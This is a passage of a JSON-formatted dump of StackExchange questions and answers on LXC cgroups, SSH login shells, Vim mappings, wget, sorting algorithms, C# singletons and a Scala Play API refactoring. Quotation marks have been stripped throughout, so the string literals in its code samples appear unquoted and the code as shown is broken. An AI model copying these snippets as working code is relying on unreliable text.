"title": "SecureString as SqlParameter value without GC concerns"  , "tags": "c#;sql;security;memory management;securestring"  } 
{  "id": "_unix.311731"  , "question": "I'd like to limit the container to 25% of the system's total CPU bandwidth.Here's my setup:LXC version 1.0.2 kernel 3.2.45  one user created cgroup (foo) for an LXC container  40 available cores on the host  the host and container have default values for every other cgroup subsystem except:  /sys/fs/cgroup/cpu/lxc/foo/cpu.cfs_quota_us = 400000/sys/fs/cgroup/cpu/lxc/foo/cpu.cfs_period_us = 100000/sys/fs/cgroup/cpuset/lxc/foo/cpuset.cpus = 0-15I calculated the quota using this formula:(# of cpus available to container) * (cpu.cfs_period_us) * (.25) so 16 * 100000 * .25 = 400000I ran a basic stress-ng inside and outside the container at the same time to get a gauge of how many operations per second were being allowed inside and out and the results were basically the same as running with a quota of -1, which is to say no quota.  Outside Run:$ ./stress-ng  --cpu-load 50 -c 40 --timeout 20s --metrics-briefstress-ng: info: [25649] dispatching hogs: 40 cpu  stress-ng: info: [25649] successful run completed in 20.44s  stress-ng: info: [25649] stressor      bogo ops real time  usr time  sys time   bogo ops/s   bogo ops/s  stress-ng: info: [25649]                          (secs)    (secs)    (secs)   (real time) (usr+sys time)  stress-ng: info: [25649] cpu              37348     20.18    380.56      0.58      1850.85        97.99  Inside Run:$ ./stress-ng --cpu-load 100 -c 16 --timeout 20s --metrics-brief  stress-ng: info: [34256] dispatching hogs: 16 cpu  stress-ng: info: [34256] successful run completed in 20.10s  stress-ng: info: [34256] stressor      bogo ops real time  usr time  sys time   bogo ops/s   bogo ops/s  stress-ng: info: [34256]                          (secs)    (secs)    (secs)   (real time) (usr+sys time)  stress-ng: info: [34256] cpu              24147     20.03    205.20      0.17      1205.67       117.58  Based on the ops/s I'm getting 39%. Why does this happen?  Shouldn't it be limited by cpu.cfs_quota_us?Thanks for the help in advance."  , "title": "Why is cpu.cfs_quota_us not limiting CPU bandwidth of LXC container?"  , "tags": "linux;lxc;cgroups"  } 
{  "id": "_webmaster.20037"  , "question": "I'm hosting a URL with NameCheap, and it is a URL frame for a blogspot.com account. I'm using Google Analytics to track the blogspot.com account, but I'd like to be able to track the NameCheap frame URL as well. How do I do this? "  , "title": "How do I track a hosted URL on Namecheap.com with Google Analytics"  , "tags": "google analytics;url"  } 
{  "id": "_unix.325202"  , "question": "I work as a sysadmin in a large company and have to maintain several windows and Linux (Ubuntu 16.04) VMs. Since I want to use zsh instead of bash on the Linux VMs, I have to change my default shell. Now, I log in on Linux with my Windows domain account which enforces the AD settings; that means I can't change the passwd file or use chsh to change my default shell, so I had to find another way. This way was to enforce the shell in AD with the loginShell attribute.The question is, what happens if I log in on a Linux VM which does not have zsh installed, what happens? Does it fallback to bash/sh, does it get stuck or something else?"  , "title": "What happens if a users default shell is not installed?"  , "tags": "bash;ubuntu;ssh;zsh;active directory"  , "accepted_answer": "Let's try!Shell changed on the server:[myserver ~]% getent passwd myusermyuser:x:150:150:myuser:/home/myuser:/fooLet's log in:[myclient ~]% ssh myserverReceived disconnect from myserver: 2: Too many authentication failures for myuserFrom the SSH logs on the server:Nov 22 09:30:27 myserver sshd[20719]: Accepted gssapi-with-mic for myuser from myclient port 33808 ssh2Nov 22 09:30:27 myserver sshd[20719]: pam_unix(sshd:session): session opened for user myuser by (uid=0)Nov 22 09:31:18 myserver sshd[20727]: Received disconnect from myclient: 11: disconnected by userNov 22 09:31:18 myserver sshd[20719]: pam_unix(sshd:session): session closed for user myuserNov 22 09:31:20 myserver sshd[20828]: User myuser not allowed because shell /foo does not existNov 22 09:31:20 myserver sshd[20835]: input_userauth_request: invalid user myuserNov 22 09:31:20 myserver sshd[20835]: Disconnecting: Too many authentication failures for myuserKey line: User myuser not allowed because shell /foo does not exist.  So you can't log in if you don't have a valid shell set."  } 
{  "id": "_vi.11195"  , "question": "I'd like to set some file-type dependent mappings to quickly run files. For example, I have some mappings like these:nnoremap <silent><leader>z :w<CR> :!clear; gcc %; ./a.out<cr>nnoremap <silent><leader>z :w<CR> :!clear; g++ %; ./a.out<cr>nnoremap <silent><leader>z :w<CR> :!clear; ruby %<cr>How can I set each mapping to its corresponding file type?"  , "title": "Set mappings depending on file type"  , "tags": "key bindings;filetype"  , "accepted_answer": "You can use the FileType autocmd.autocmd FileType c    nnoremap <buffer><silent><leader>z :w<CR> :!clear; gcc %; ./a.out<cr>autocmd FileType cpp  nnoremap <buffer><silent><leader>z :w<CR> :!clear; g++ %; ./a.out<cr>autocmd FileType ruby nnoremap <buffer><silent><leader>z :w<CR> :!clear; ruby %<cr>See :h autocmd and :h FileType for more info."  } 
{  "id": "_softwareengineering.20607"  , "question": "I was wondering if there are obvious advantages and disadvantages to using Ruby on Rails to develop a desktop application.RoR has great infrastructure for rapid development, proper implementation of specs and automated acceptance tests, an immense number of popular libraries and the promise of being actively developed and maintained in the future.The downsides I can see are mostly about usability - installation of a Rails app as a local service and launching of a browser when it needs to be active may not come naturally to many users... or be technically easy to implement and support for different platforms."  , "title": "Is Ruby on Rails a suitable framework for a desktop application?"  , "tags": "ruby on rails;desktop"  , "accepted_answer": "Rails is a web framework, I'd use it for that or if you really want to produce a desktop application then pick something else.  You might be able to get it working as a desktop platform now but that's clearly not how it's seen by the community so who's to say it won't be changed in the future to make your implementation harder or impossible?I'd also suggest that if you're going to be constrained by a browser based UI, why not just host it on a server and get the benefits rather than having to deal with support of local installs?The best desktop applications will be ones written in a language which is intended for that purpose and ideally which are native (or in the case of .NET native-ish) to the operating system so they can adopt all the usual UI components, metaphors and functionality users are used to seeing on that OS."  } 
{  "id": "_unix.340903"  , "question": "When running wget -r -k -l 1 http://econ.ucsb.edu/~tedb/Courses/GraduateTheoryUCSB/TheoryF16.html`the process successfully completes but a number of files are not downloaded and a number of absolute links are not converted.For example, the file BlumeSimonCh21.pdf is linked twice in the html source code, one as relative and another as absolute path, both belonging to the same host. The latter links to the actual website over the internet rather than linking to the local file. Moreover, the file Bernoulli.pdf is not downloaded by wget despite being in the same host directory. I tried adding -H to the wget command, these problems still occur. Is it a bug?Some other thoguhts: The manual says when -r is specified, wget downloads simply overwrite the old file with the new one if they are the same file. Maybe this has to do with redownloading the files?EDIT: I am running the newest wget release to date, 1.18 on Arch Linux."  , "title": "Wget not converting links and downloading properly?"  , "tags": "wget"  } 
{  "id": "_cstheory.609"  , "question": "Input: a graph with n nodes,Output: A clique of size $O(\\log n)$,Providing links to references would be great"  , "title": "What are the best known upper bounds and lower bounds for computing O(log n)-Clique?"  , "tags": "ds.algorithms;reference request;graph theory;lower bounds;upper bounds"  , "accepted_answer": "The best known upper bound is essentially $n^{O(\\log n)}$. You can improve a little on the constant factor in the big-O using fast matrix multiplication, but that's about it. There are a lot of algorithmic references on the $k$-clique problem which describe this reduction, it originates from papers of Itai and Rodeh and Nesetril and Poljak. (Apologies to Czech readers, I am ignorant of the proper diacritical marks.) See http://en.wikipedia.org/wiki/Clique_problemIf you could solve $\\log n$-clique in $n^{\\varepsilon \\log n}$ for every $\\varepsilon > 0$, then you could also solve 3SAT in subexponential time. This can be seen as a lower bound to further progress. One way to prove this is to first show that if $\\log n$-clique in $n^{\\varepsilon \\log n}$ for every $\\varepsilon > 0$, then MaxCut on $n$ nodes is in $2^{\\varepsilon n}$ time for every $\\varepsilon > 0$. This follows directly from a theorem in my ICALP'04 paper that relates the time complexity of MaxCut to the time complexity of $k$-clique. From there, one can appeal to standard reductions to reduce 3SAT to MaxCut, showing that subexponential MaxCut implies subexponential 3SAT.In terms of unconditional lower bounds, nothing nontrivial is known, to my knowledge. We don't even know how to show that $O(\\log n)$-clique isn't solvable with an algorithm that runs in linear time and uses only logarithmic workspace."  } 
{  "id": "_softwareengineering.197107"  , "question": "In divide and conquer algorithms such as quicksort and mergesort, the input is usually (at least in introductory texts) split in two, and the two smaller data sets are then dealt with recursively. It does make sense to me that this makes it faster to solve a problem if the two halves takes less than half the work of dealing with the whole data set. But why not split the data set in three parts? Four? n?I guess the work of splitting the data in many, many sub sets makes it not worth it, but I am lacking the intuition to see that one should stop at two sub sets.I have also seen many references to 3-way quicksort. When is this faster? What is used in practice?"  , "title": "Divide and Conquer algorithms  Why not split in more parts than two?"  , "tags": "algorithms;algorithm analysis"  , "accepted_answer": "It does make sense to me that this makes it faster to solve a problem if the two halves takes less than half the work of dealing with the whole data set.That is not the essence of divide-and-conquer algorithms. Usually the point is that the algorithms cannot deal with the whole data set at all. Instead, it is divided into pieces that are trivial to solve (like sorting two numbers), then those are solved trivially and the results recombined in a way that yields a solution for the full data set.But why not split the data set in three parts? Four? n?Mainly because splitting it into more than two parts and recombining more than two resultsresults in a more complex implementation but doesn't change the fundamental (Big O) characteristic of the algorithm - the difference is a constant factor, and may result in a slowdown if the division and recombination of more than 2 subsets creates additional overhead.For example, if you do a 3-way merge sort, then in the recombination phase you now have to find the biggest of 3 elements for every element, which requires 2 comparisons instead of 1, so you'll do twice as many comparisons overall. In exchange, you reduce the recursion depth by a factor of ln(2)/ln(3) == 0.63, so you have 37% fewer swaps, but 2*0.63 == 26% more comparisons (and memory accesses). Whether that is good or bad depends on which is more expensive in your hardware.I have also seen many references to 3-way quicksort. When is this faster? Apparently a dual pivot variant of quicksort can be proven to require the same number of comparisons but on average 20% fewer swaps, so it's a net gain. What is used in practice?These days hardly anyone programs their own sorting algorithms anymore; they use one provided by a library. For example, the Java 7 API actually uses the dual-pivot quicksort.People who actually do program their own sorting algorithm for some reason will tend to stick to the simple 2-way variant because less potential for errors beats 20% better performance most of the time. Remember: by far the most important performance improvement is when the code goes from not working to working."  } 
{  "id": "_unix.158867"  , "question": "Put simply, I can't work out why the code below won't carry out a file transfer? I have been assured by the sysadmin staff on the remote server that there are no permissions/firewall issues that could be affecting it and that the login details are correct. I've logged file output using -O and the resulting file (--ftp-user=ITParts) is blank. What could be wrong?exec('wget -o --ftp-user=xxxx --ftp-password=xxxx  \\    ftp.eurosimm.com/StocklistDealSOss.csv \\    /home/design/public_html/itpartsandspares/');"  , "title": "Why can't I transfer a file via wget (FTP) using exec() function in PHP?"  , "tags": "ftp;wget"  } 
{  "id": "_unix.243661"  , "question": "What is the difference between Master and PCM channels in Alsa, and which one should I manipulate for controlling the output volume?I have three sound cards (Intel PantherPoint, HRT HeadStreamer and Fiio E10 DACs). The Intel is integrated and comes with both Master and PCM, whereas the other two are external and only have the PCM channel with no Master.I'm writing a script to toggle between the different soundcards and I'd like to figure out what is the exact setting to fiddle with.Thanks for your help"  , "title": "What's the difference between Master and PCM channels in Alsa?"  , "tags": "audio;alsa"  , "accepted_answer": "With more complex devices, PCM affects the audio data played by software, while Master also affects everything else going to the speakers.With devices that do not have an analog mixer, this distinction would not make sense."  } 
{  "id": "_unix.120188"  , "question": "I have a USB HDD. I want to mount it with compression enabled. I can do in the fstab of my system or even using udev rules. The problem is that I won't mount my USB HDD on my computer only. Up to now, I used to trigger a terminal each time I mounted it.Then, I discovered chattr +c. This is working very well but I want to use LZO instead of ZLIB. Is there any way to be more specific and define the compression algorithm once for all?"  , "title": "Is there any way in BTRFS to set compression permanently?"  , "tags": "mount;compression;btrfs"  } 
{  "id": "_codereview.11978"  , "question": "I did this as an exercise just to practice/improve using generics.Independent of how useful this implementation of a Singleton is, how is my coding in terms of using generics and any other aspect of class design of code style?void Main(){    var a = Singleton<MyClass>.Value;    var b = Singleton<MyClass, MyClassFactory>.Value;    var c = Singleton<MyClass>.Value;    var d = Singleton<MyClass, MyClassFactory>.Value;    var e = Singleton<MyOtherClass>.Value;    var f = Singleton<MyOtherClass>.Value;    var g = Singleton<MyOtherClass, MyOtherFactory>.Value;    var h = Singleton<MyOtherClass, MyOtherFactory>.Value;}class SingletonBase{    protected static object Locker = new LockerObject();}class Singleton<T> : SingletonBase where T : new() {    static T StaticT;    public static T Value     {        get        {            lock (Locker)            {                if(StaticT == null)                {                    StaticT = Activator.CreateInstance<Factory<T>>().Create();                }                else                {                    Console.WriteLine (Singleton<T>::Value + typeof(T).Name +  is already created);                }            }            return StaticT;        }    }}class Singleton<T, F> : SingletonBase where T : new() where F : IFactory<T>, new(){    static T StaticT;    public static T Value     {        get        {            lock (Locker)            {                if(StaticT == null)                {                    StaticT = new F().Create();                }                else                {                    Console.WriteLine (Singleton<T, F>::Value + typeof(T).Name +  is already created);                }            }            return StaticT;        }    }}class LockerObject{    Guid myGUID;    public LockerObject()    {        this.myGUID = Guid.NewGuid();        Console.WriteLine (New LockerObject  + this.myGUID.ToString());    }}interface IFactory<T>{    T Create();}class Factory<T> : IFactory<T> where T : new(){    public T Create()    {        Console.WriteLine (Factory<T>::Create());          return new T();    }}class MyClassFactory : IFactory<MyClass>{    public MyClass Create()    {        Console.WriteLine (MyClassFactory::Create());            return new MyClass();    }}class MyClass{    public MyClass()    {        Console.WriteLine (MyClass created);    }}class MyOtherClass{    public MyOtherClass()    {        Console.WriteLine (MyOtherClass created);    }}class MyOtherFactory : IFactory<MyOtherClass>{    public MyOtherClass Create()    {        Console.WriteLine (MyOtherFactory::Create());            return new MyOtherClass();    }}Output:New LockerObject 36aa2282-d745-43ca-84d2-998a78e39d51Factory<T>::Create()MyClass createdMyClassFactory::Create()MyClass createdSingleton<T>::ValueMyClass is already createdSingleton<T, F>::ValueMyClass is already created"  , "title": "Singleton implementation using generics"  , "tags": "c#;generics;singleton"  } 
{  "id": "_codereview.126847"  , "question": "I'm working on an API that has a lot of controller functions like this:def create = Action.async { implicit request =>    if (request.body.asJson.isEmpty) {        Future.successful(BadRequest(Missing body))    }    else {        val body = request.body.asJson.get.as[JsObject]        val companyID = (body \\ company \\ id).validate[String]        val parsedAccount = (body \\ account).validate[Account]        // Check that we have all of the fields we need        if (parsedAccount.isError) {            Future.successful(BadRequest(Missing account data))        } else if (companyID.isError) {            Future.successful(BadRequest(Missing company data))        }        else {            // Insert the new account            val account = parsedAccount.get            (for {                _ <- primaryDAO.insert(account, companyID.get)                account <- primaryDAO.get(account.id)            } yield account).map {                case account => Created(account)            }.recover {                case e => BadRequest(e)            }        }    }}I was hoping that I would be able to do something more like this (using early returns):def create = Action.async { implicit request =>    if (request.body.asJson.isEmpty) {        return Future.successful(BadRequest(Missing body))    }    val body = request.body.asJson.get.as[JsObject]    val companyID = (body \\ company \\ id).validate[String]    val parsedAccount = (body \\ account).validate[Account]    // Check that we have all of the fields we need    if (parsedAccount.isError) {        return Future.successful(BadRequest(Missing account data))    }    if (companyID.isError) {        return Future.successful(BadRequest(Missing company data))    }    // Insert the new account    val account = parsedAccount.get    (for {        _ <- primaryDAO.insert(account, companyID.get)        account <- primaryDAO.get(account.id)    } yield account).map {        case account => Created(account)    }.recover {        case e => BadRequest(e)    }}However this is not possible because the return statement only returns from my nested function (and back into the Action.async)I am wondering what I can do in place of early returns (which I would use in imperative programming languages) to make my code cleaner.The primary DAO implements a generic trait that I use for most of my DAOs and looks like this:trait DAOGet[A <: BaseModel] {    def get(pk: String): Future[Option[A]]    def all: Future[Seq[A]]    def all(page: Int, perPage: Int): Future[Seq[A]]}trait DAOInsert[A <: BaseModel] extends DAOGet[A] {    def insert(model: A): Future[Any]}trait DAOUpdate[A <: BaseModel] extends DAOGet[A] {    def update(model: A): Future[Int]}trait DAODelete[A <: BaseModel] {    def delete(pk: String): Future[Int]}trait CRUDDAO[A <: BaseModel] extends DAOGet[A] with DAOInsert[A] with DAOUpdate[A] with DAODelete[A]"  , "title": "Implementation of API to create a company account in a database"  , "tags": "validation;error handling;scala;asynchronous"  , "accepted_answer": "PreludeI'll assume the following code :trait BaseModel{  def pk:String  def id:String=pk}case class Account(name:String) extends BaseModel{  override val pk = name}As the internal structure of the Account class. I made it extends BaseModel so it can be used with the following fake DAO and my sample compiles. I had to add an insert which takes both an Account and a company Id.class AccountDAO extends CRUDDAO[Account]{  override def insert(model: Account): Future[Any] = Future.successful(model)  def insert(model: Account,companyId:String): Future[Any] = model.id match{    case account1|account2 => Future.successful(model)    case _ => Future.failed(new RuntimeException(Unable to save account))  }  override def update(model: Account): Future[Int] = ???  override def get(pk: String): Future[Option[Account]] = pk match {    case account1 => Future.successful(Some(Account(pk)))    case account2 => Future.successful(None)    case _ => Future.failed(new RuntimeException(no such account))  }  override def all: Future[Seq[Account]] = ???  override def all(page: Int, perPage: Int): Future[Seq[Account]] = ???}I made the original code sample compile by adapting the bottom of the code as Created(account) wouldn't compile here is what it looks like. Initial codeclass Companies @Inject()(primaryDAO:AccountDAO)(implicit ec:ExecutionContext) extends Controller {  implicit val AccountReads = Json.format[Account]  def create = Action.async { implicit request =>    if (request.body.asJson.isEmpty) {      Future.successful(BadRequest(Missing body))    }    else {      val body = request.body.asJson.get.as[JsObject]      val companyID = (body \\ company \\ id).validate[String]      val parsedAccount = (body \\ account).validate[Account]      // Check that we have all of the fields we need      if (parsedAccount.isError) {        Future.successful(BadRequest(Missing account data))      } else if (companyID.isError) {        Future.successful(BadRequest(Missing company data))      }      else {        // Insert the new account        val account = parsedAccount.get        (for {          _ <- primaryDAO.insert(account, companyID.get)          account <- primaryDAO.get(account.id)        } yield account).map {          case Some(a) => Created(a.id)          case None => InternalServerError(Unable to create Account)        }.recover {          case e => BadRequest(e.getMessage)        }      }    }  }}object Companies extends Companies(new AccountDAO)(play.api.libs.concurrent.Execution.defaultContext)Following are some sample request/reponses using httpie: $> echo '{company:{id:1}, account:{name:account1}}'| http :9000/foobarHTTP/1.1 201 CreatedContent-Length: 8Content-Type: text/plain; charset=utf-8Date: Thu, 28 Apr 2016 20:17:19 GMTaccount1    $> echo '{company:{id:1}, account:{name:account2}}'| http :9000/foobarHTTP/1.1 500 Internal Server ErrorContent-Length: 24Content-Type: text/plain; charset=utf-8Date: Thu, 28 Apr 2016 20:18:45 GMTUnable to create Account$> echo '{company:{id:1}, account:{name:account3}}'| http :9000/foobarHTTP/1.1 400 Bad RequestContent-Length: 22Content-Type: text/plain; charset=utf-8Date: Thu, 28 Apr 2016 20:21:19 GMTUnable to save account$> echo '{ account:{name:account3}}'| http :9000/foobarHTTP/1.1 400 Bad RequestContent-Length: 20Content-Type: text/plain; charset=utf-8Date: Thu, 28 Apr 2016 20:21:44 GMTMissing company data$> echo '{company:{id:1}, account:{}}'| http :9000/foobarHTTP/1.1 400 Bad RequestContent-Length: 20Content-Type: text/plain; charset=utf-8Date: Thu, 28 Apr 2016 20:22:07 GMTMissing account dataEmbracing the HTTP frameworkNow there is a way to write this using early returns, I'll show it for completeness sake but you really really don't want to do that as I'll explain below. Return doesn't have a type so you are forced to explicitely provide a return type which is impossible in an anonymous function (the block after Action.async is just an anonymous function). You can easily extract your code to a named method with explicit types and use that as the action body: class Companies @Inject()(primaryDAO:AccountDAO)(implicit ec:ExecutionContext) extends Controller {  implicit val AccountReads = Json.format[Account]  def doCreate(implicit request:Request[AnyContent]):Future[Result]={    if (request.body.asJson.isEmpty) {      return Future.successful(BadRequest(Missing body))    }    val body = request.body.asJson.get.as[JsObject]    val companyID = (body \\ company \\ id).validate[String]    val parsedAccount = (body \\ account).validate[Account]    // Check that we have all of the fields we need    if (parsedAccount.isError) {      return Future.successful(BadRequest(Missing account data))    }    if (companyID.isError) {      return Future.successful(BadRequest(Missing company data))    }    // Insert the new account    val account = parsedAccount.get    (for {      _ <- primaryDAO.insert(account, companyID.get)      account <- primaryDAO.get(account.id)    } yield account).map {      case Some(a) => Created(a.id)      case None => InternalServerError(Unable to create Account)    }.recover {      case e => BadRequest(e.getMessage)    }  }  def create = Action.async(doCreate)}object Companies extends Companies(new AccountDAO)(play.api.libs.concurrent.Execution.defaultContext)I said that doing this is wrong and you really don't want to do this. Quoting Rob Norris (tpolecat) : If you find yourself in a situation where you think you want to return early, you need to re-think the way you have defined your computationSo let's do some rethinking :) I'll posit that What you really want isn't so much using early returns as it is avoiding deep nesting of if/else clauses. Let's have a look at the types we are manipulating : request.body.asJson returns an Option[JsValue]. The current implementation tests to check if it is empty and returns a BadRequest. Play offers a similar and much cleaner way to check that you actually receive an application/json body for your endpoint (I'll leave the wrapping code to concentrate on the action itself for now) using a specific body parser:def create = Action.async(parse.json) { implicit request => val body = request.body val companyID = (body \\ company \\ id).validate[String] val parsedAccount = (body \\ account).validate[Account] // Check that we have all of the fields we need if (parsedAccount.isError) {   Future.successful(BadRequest(Missing account data)) } if (companyID.isError) {   Future.successful(BadRequest(Missing company data)) } else {   // Insert the new account   val account = parsedAccount.get   (for {     _ <- primaryDAO.insert(account, companyID.get)     account <- primaryDAO.get(account.id)   } yield account).map {     case Some(a) => Created(a.id)     case None => InternalServerError(Unable to create Account)   }.recover {     case e => BadRequest(e.getMessage)   } }}Using a body parser in the action will enforce the media type for the endpoint (in this case it will have to be a form of json). Trying to call it with a content type such as application/x-www-form-urlencoded will fail with a 415 Unsupported Media Type error, passing an invalid json body will yield a 400 BadRequest for you : $> echo 'coucou'| http --form :9000/foobarHTTP/1.1 415 Unsupported Media TypeContent-Length: 2163Content-Type: text/html; charset=utf-8Date: Thu, 28 Apr 2016 20:41:15 GMT$> echo coucou| http :9000/foobarHTTP/1.1 400 Bad RequestContent-Length: 2289Content-Type: text/html; charset=utf-8Date: Thu, 28 Apr 2016 20:43:30 GMT    Embracing the Json libraryThe next step consists of leveraging play-json's validation facilities. First let's define a reader which enforces all the protocol constraints for your endpoint :import play.api.libs.json._import play.api.libs.functional.syntax._implicit val CreateDTOReads = (   (__ \\ company \\ id).read[String] and   (__ \\ account).read[Account] ).tupledNow we can use that to fully validate the incoming payload and reject it if it is incorrect: def create = Action.async(parse.json) { implicit request =>  val createDto:JsResult[(String,Account)] = request.body.validate(CreateDTOReads)  // Check that we have all of the fields we need  if (createDto.isError) {    Future.successful(BadRequest(Missing account or company data))  } else {    // Insert the new account    val (companyId,account) = createDto.get    (for {      _ <- primaryDAO.insert(account, companyId)      account <- primaryDAO.get(account.id)    } yield account).map {      case Some(a) => Created(a.id)      case None => InternalServerError(Unable to create Account)    }.recover {      case e => BadRequest(e.getMessage)    }  }}Notice that at this point we have lost a bit of precision since I don't distinguish between the two errors anymore. The information is still there, captured in the errors of the JsResult. You could use pattern matching or even a cast to get a JsError out of the JsResult and once you have a JsError you get the list of all validation errors for each path which you can manipulate and translate as you like. For instance : def create = Action.async(parse.json) { implicit request =>    val createCommand:JsResult[(String,Account)] = request.body.validate(CreateDTOReads)    // Check that we have all of the fields we need    if (createCommand.isError) {      val errors = createCommand.asInstanceOf[JsError]      Json.prettyPrint(JsError.toJson(errors))      Future.successful(BadRequest(Json.prettyPrint(JsError.toJson(errors))))    } else {      // Insert the new account      val (companyId,account) = createCommand.get      (for {        _ <- primaryDAO.insert(account, companyId)        account <- primaryDAO.get(account.id)      } yield account).map {        case Some(a) => Created(a.id)        case None => InternalServerError(Unable to create Account)      }.recover {        case e => BadRequest(e.getMessage)      }    }  }returns something like : $> echo '{coucou:}'| http :9000/foobarHTTP/1.1 400 Bad RequestContent-Length: 173Content-Type: text/plain; charset=utf-8Date: Fri, 29 Apr 2016 08:41:35 GMT{  obj.account : [ {    msg : [ error.path.missing ],    args : [ ]  } ],  obj.company.id : [ {    msg : [ error.path.missing ],    args : [ ]  } ]}This is still not looking very nice since this is not the idiomatic way to extract information from a JsResult. The proper way is to fold over the JsResult. The fold method signature on a JsResult is fold[X](errors: (Seq[(JsPath, Seq[ValidationError])]) => X, valid: (A) => X): X). In our case we want X to be a Future[JsResult], and can write it like this :def create = Action.async(parse.json) { implicit request =>  val createCommandResult:JsResult[(String,Account)] = request.body.validate(CreateDTOReads)  // Check that we have all of the fields we need  createCommandResult.fold(    errors => Future.successful(BadRequest(Json.prettyPrint(JsError.toJson(errors)))),    createCommand => {      val (companyId,account) = createCommand      (for {        _ <- primaryDAO.insert(account, companyId)        account <- primaryDAO.get(account.id)      } yield account).map {        case Some(a) => Created(a.id)        case None => InternalServerError(Unable to create Account)      }.recover {        case e => BadRequest(e.getMessage)      }      }  )}Single Responsibility PrincipleNow we are getting there but the valid case is not looking so good. This is because the create action handles too many responsibilities. At the REST endpoint level you should only handle HTTP protocol concerns :content negotiation deserialization of the payload (can include some validation)serialization of the responsesLet's extract the business logic, however simple, to an AccountService class : @Singletonclass AccountService @Inject() (primaryDAO: AccountDAO){  def createAccount(companyId:String,account:Account)(implicit ec: ExecutionContext) : Future[Option[Account]] =    for {      _ <- primaryDAO.insert(account, companyId)      account <- primaryDAO.get(account.id)    } yield account}Now our endpoint only handles the HTTP translation logic :def create = Action.async(parse.json) { implicit request =>  val createCommandResult:JsResult[(String,Account)] = request.body.validate(CreateDTOReads)  // Check that we have all of the fields we need  createCommandResult.fold(    errors => Future.successful(BadRequest(Json.prettyPrint(JsError.toJson(errors)))),    createCommand => {      val (companyId,account) = createCommand      val createdAccountF: Future[Option[Account]] = accountService.createAccount(companyId, account)      createdAccountF.map {        case Some(a) => Created(a.id)        case None => InternalServerError(Unable to create Account)      }.recover {        case e => BadRequest(e.getMessage)      }    }  )}The error handling code: createdAccountF.map {  case Some(a) => Created(a.id)  case None => InternalServerError(Unable to create Account)}.recover {  case e => BadRequest(e.getMessage)}Is a good candidate for abstraction. If you wanted to always return Json for instance you could have the following  : object JsonResultMapper extends Results {  import play.api.libs.json.Writes  def jsonOk[A](subject: A)(implicit writer: Writes[A]) = Ok(Json.toJson(subject))  def jsonNotfound(msg: String) = NotFound(Json.obj(reason -> msg))  def exception2Location(exception: Exception): String =    Option(exception.getStackTrace)      .flatMap(_.headOption)      .map(_.toString)      .getOrElse(unknown)  def jsonInternalServerError(msg: String, cause: Exception) = {    val jsonMsg = Json.obj(      reason -> msg,      location -> exception2Location(cause)    )    InternalServerError(jsonMsg)  }  def toJsonResult[A](subjectOptionFuture: Future[Option[A]],noneMsg: => String = NotFound)                             (implicit writer: Writes[A]): Future[SimpleResult] = {    subjectOptionFuture.map {      case Some(subject) => jsonOk(subject)      case None          => jsonNotfound(noneMsg)    }.recover {      case e: Exception => jsonInternalServerError(e.getMessage, e)    }  }}and then write your action as  : def create = Action.async(parse.json) { implicit request =>  val createCommandResult:JsResult[(String,Account)] = request.body.validate(CreateDTOReads)  // Check that we have all of the fields we need  createCommandResult.fold(    errors => Future.successful(BadRequest(Json.prettyPrint(JsError.toJson(errors)))),    createCommand => {      val (companyId,account) = createCommand      val createdAccountF: Future[Option[Account]] = accountService.createAccount(companyId, account)       JsonResultMapper.toJsonResult(createdAccountF, sUnable to create account)              }  )}You could stop there and I will for the purpose of this review, but there are still things which can probably be improved. I'll give you a couple leads to further improve:PrimaryDao protocolThe Future[Option[Account]] may not be a good signature for primaryDAO.get(account.id) or for AccountService#Create. As you can see, it has 2 errors paths and 1 happy path. However when serializing it, the happy path and first error path are processed together in the same block, then the second error path (exception raised) in a different block. Some would argue that one error path is a business error while the other is a technical error which makes it ok.  Whether we hide this in the ResultMapper or not I personally don't like it. To get rid of it an depending on your team standards, you can go for:A BusinessException such as AccountNotFound which is thrown instead of returning an OptionA custom composition of Future and Option (see http://www.edofic.com/posts/2014-03-07-practical-future-option.html and http://loicdescotte.github.io/posts/scala-compose-option-future/ )A ScalaZ monad transformer which does the same as the previous option in a generic wayIn the same logic Future[Any] is not a very good signature for :trait DAOInsert[A <: BaseModel] extends DAOGet[A] {  def insert(model: A): Future[Any]}I strongly suggest changing that to trait DAOInsert[A <: BaseModel] extends DAOGet[A] {  def insert(model: A): Future[A]}and having the insert return the saved instance if it is possible. This would allow you to distinguish between : there was an error while inserting vs I couldn't read the instance which are not necessarily the same.Using specific typescustomerId is a string which carries very little information, creating and using a CustomerId type would probably prove very useful if it is used throughout your application. DisclaimerI don't know enough of the business to properly name things in my refactoring. Naming is probably the single most important thing when writing code and it is known to be one of the hardest (with invalidating caches). Final codepackage controllers.companyimport scala.concurrent.{ExecutionContext, Future}import com.google.inject.{Inject, Singleton}import play.api.libs.json.Jsonimport play.api.mvc.{Action, Controller}trait BaseModel {  def pk: String  def id: String = pk}case class Account(name: String) extends BaseModel {  override val pk = name}trait DAOGet[A <: BaseModel] {  def get(pk: String): Future[Option[A]]  def all: Future[Seq[A]]  def all(page: Int, perPage: Int): Future[Seq[A]]}trait DAOInsert[A <: BaseModel] extends DAOGet[A] {  def insert(model: A): Future[Any]}trait DAOUpdate[A <: BaseModel] extends DAOGet[A] {  def update(model: A): Future[Int]}trait DAODelete[A <: BaseModel] {  def delete(pk: String): Future[Int]}trait CRUDDAO[A <: BaseModel] extends DAOGet[A] with DAOInsert[A] with DAOUpdate[A]class AccountDAO extends CRUDDAO[Account] {  override def insert(model: Account): Future[Any] = Future.successful(model)  def insert(model: Account, companyId: String): Future[Any] = model.id match {    case account1 | account2 => Future.successful(model)    case _ => Future.failed(new RuntimeException(Unable to save account))  }  override def update(model: Account): Future[Int] = ???  override def get(pk: String): Future[Option[Account]] = pk match {    case account1 => Future.successful(Some(Account(pk)))    case account2 => Future.successful(None)    case _ => Future.failed(new RuntimeException(no such account))  }  override def all: Future[Seq[Account]] = ???  override def all(page: Int, perPage: Int): Future[Seq[Account]] = ???}@Singletonclass AccountService @Inject() (primaryDAO: AccountDAO){  def createAccount(companyId:String,account:Account)(implicit ec: ExecutionContext) : Future[Option[Account]] =    for {      _ <- primaryDAO.insert(account, companyId)      account <- primaryDAO.get(account.id)    } yield account}@Singletonclass Companies @Inject()(accountService: AccountService)(implicit ec: ExecutionContext) extends Controller {  implicit val AccountReads = Json.format[Account]  import play.api.libs.functional.syntax._  import play.api.libs.json._  implicit val CreateDTOReads =    (      (__ \\ company \\ id).read[String] and      (__ \\ account).read[Account]    ).tupled  def create = Action.async(parse.json) { implicit request =>    val createCommandResult:JsResult[(String,Account)] = request.body.validate(CreateDTOReads)    // Check that we have all of the fields we need    createCommandResult.fold(      errors => Future.successful(BadRequest(Json.prettyPrint(JsError.toJson(errors)))),      createCommand => {        val (companyId,account) = 